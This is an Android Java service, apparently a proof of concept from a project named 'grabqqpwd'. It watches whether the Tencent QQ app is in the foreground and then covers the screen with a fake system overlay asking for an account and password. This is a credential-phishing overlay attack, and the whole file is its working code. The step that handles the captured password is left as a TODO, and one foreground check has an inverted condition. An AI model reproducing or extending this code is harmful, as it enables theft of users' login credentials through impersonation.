package com.android.grabqqpwd; import android.Manifest; import android.annotation.TargetApi; import android.app.ActivityManager; import android.app.Service; import android.app.usage.UsageStats; import android.app.usage.UsageStatsManager; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.PixelFormat; import android.graphics.Rect; import android.net.Uri; import android.os.Build; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.provider.Settings; import android.support.v4.content.ContextCompat; import android.text.TextUtils; import android.text.method.HideReturnsTransformationMethod; import android.text.method.PasswordTransformationMethod; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.MotionEvent; import android.view.View; import android.view.WindowManager; import android.widget.Button; import android.widget.CheckBox; import android.widget.CompoundButton; import android.widget.EditText; import com.jaredrummler.android.processes.ProcessManager; import java.io.IOException; import java.lang.reflect.Field; import java.security.Permission; import java.util.Date; import java.util.List; /** * Description: #TODO * * @author zzp([email protected]) * @since 2016-01-08 */ public class BackgroundDetectService extends Service implements View.OnClickListener{ private static final int REQUEST_CODE = 1; WindowManager windowManager; RelativeLayoutWithKeyDetect v; Button btn_sure; Button btn_cancel; EditText et_account; EditText et_pwd; CheckBox cb_showpwd; boolean isRunning = true; @Override public void onCreate() { super.onCreate(); final MyHandler myHandler = new MyHandler(); new Thread(new Runnable() { @Override public void run() { while (isRunning){ L.e("running"); try { Thread.sleep(3000); } catch (InterruptedException e) { e.printStackTrace(); } if (isAppForeground("com.tencent.mobileqq")){ myHandler.sendEmptyMessage(1); } } } }).start(); } private boolean isAppForeground(String appName){ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){ return appName.equals(getTopActivityBeforeL()); }else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){ return appName.equals(getTopActivityAfterLM()); }else{ return appName.equals(getTopActivityBeforeLMAfterL()); } } //5.0之前可以使用getRunningAppProcesses()函数获取 private String getTopActivityBeforeL(){ ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE); final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses(); return taskInfo.get(0).processName; } //http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l //processState只能在21版本之后使用 private String getTopActivityBeforeLMAfterL() { final int PROCESS_STATE_TOP = 2; Field field = null; ActivityManager.RunningAppProcessInfo currentInfo = null; try { field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState"); } catch (Exception ignored) { } ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE); final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses(); for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) { if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND && processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) { Integer state = null; try { state = field.getInt(processInfo); } catch (Exception e) { } if (state != null && state == PROCESS_STATE_TOP) { currentInfo = processInfo; break; } } } return currentInfo!=null ? currentInfo.processName : null; } //注：6.0之后此方法也不太好用了。。。求帮忙 //http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag // private String getTopActivityAfterLM(){ // ActivityManager.RunningAppProcessInfo topActivity = // ProcessManager.getRunningAppProcessInfo(this).get(0); // return topActivity.processName; // } @TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1) private String getTopActivityAfterLM() { try { UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE); long milliSecs = 60 * 1000; Date date = new Date(); List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime()); if (queryUsageStats.size() > 0) { return null; } long recentTime = 0; String recentPkg = ""; for (int i = 0; i < queryUsageStats.size(); i++) { UsageStats stats = queryUsageStats.get(i); if (stats.getLastTimeStamp() > recentTime) { recentTime = stats.getLastTimeStamp(); recentPkg = stats.getPackageName(); } } return recentPkg; } catch (Exception e) { e.printStackTrace(); } return ""; } private class MyHandler extends Handler{ @Override public void handleMessage(Message msg) { if (v==null || !v.isAttachedToWindow()) showWindow(); } } private void showWindow(){ windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE); WindowManager.LayoutParams params = new WindowManager.LayoutParams(); params.width = WindowManager.LayoutParams.MATCH_PARENT; params.height = WindowManager.LayoutParams.MATCH_PARENT; params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL; params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR; params.format = PixelFormat.TRANSPARENT; params.gravity = Gravity.CENTER; params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN; LayoutInflater inflater = LayoutInflater.from(this); v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null); v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() { @Override public void backCallback() { if (v!=null && v.isAttachedToWindow()) L.e("remove view "); windowManager.removeViewImmediate(v); } }); btn_sure = (Button) v.findViewById(R.id.btn_sure); btn_cancel = (Button) v.findViewById(R.id.btn_cancel); et_account = (EditText) v.findViewById(R.id.et_account); et_pwd = (EditText) v.findViewById(R.id.et_pwd); cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd); cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() { @Override public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) { if (isChecked) { et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance()); } else { et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance()); } et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ? 0 : et_pwd.getText().length()); } }); //useless // v.setOnKeyListener(new View.OnKeyListener() { // @Override // public boolean onKey(View v, int keyCode, KeyEvent event) { // Log.e("zhao", keyCode+""); // if (keyCode == KeyEvent.KEYCODE_BACK) { // windowManager.removeViewImmediate(v); // return true; // } // return false; // } // }); //点击外部消失 v.setOnTouchListener(new View.OnTouchListener() { @Override public boolean onTouch(View view, MotionEvent event) { Rect temp = new Rect(); view.getGlobalVisibleRect(temp); L.e("remove view "); if (temp.contains((int)(event.getX()), (int)(event.getY()))){ windowManager.removeViewImmediate(v); return true; } return false; } }); btn_sure.setOnClickListener(this); btn_cancel.setOnClickListener(this); L.e("add view "); windowManager.addView(v, params); } @Override public void onDestroy() { super.onDestroy(); isRunning = false; L.e("remove view "); if (v!=null && v.hasWindowFocus()) windowManager.removeView(v); } @Override public IBinder onBind(Intent intent) { return null; } @Override public void onClick(View view) { if (view == btn_cancel){ if (v!=null && v.hasWindowFocus()) windowManager.removeViewImmediate(v); }else{ if (TextUtils.isEmpty(et_account.getText())){ et_account.setError("请输入账号"); return; } if (TextUtils.isEmpty(et_pwd.getText())){ et_pwd.setError("请输入密码"); return; } //TODO 用户已经输入用户名和密码，做相应处理即可 L.e("remove view "); if (v!=null && v.hasWindowFocus()) windowManager.removeViewImmediate(v); } } }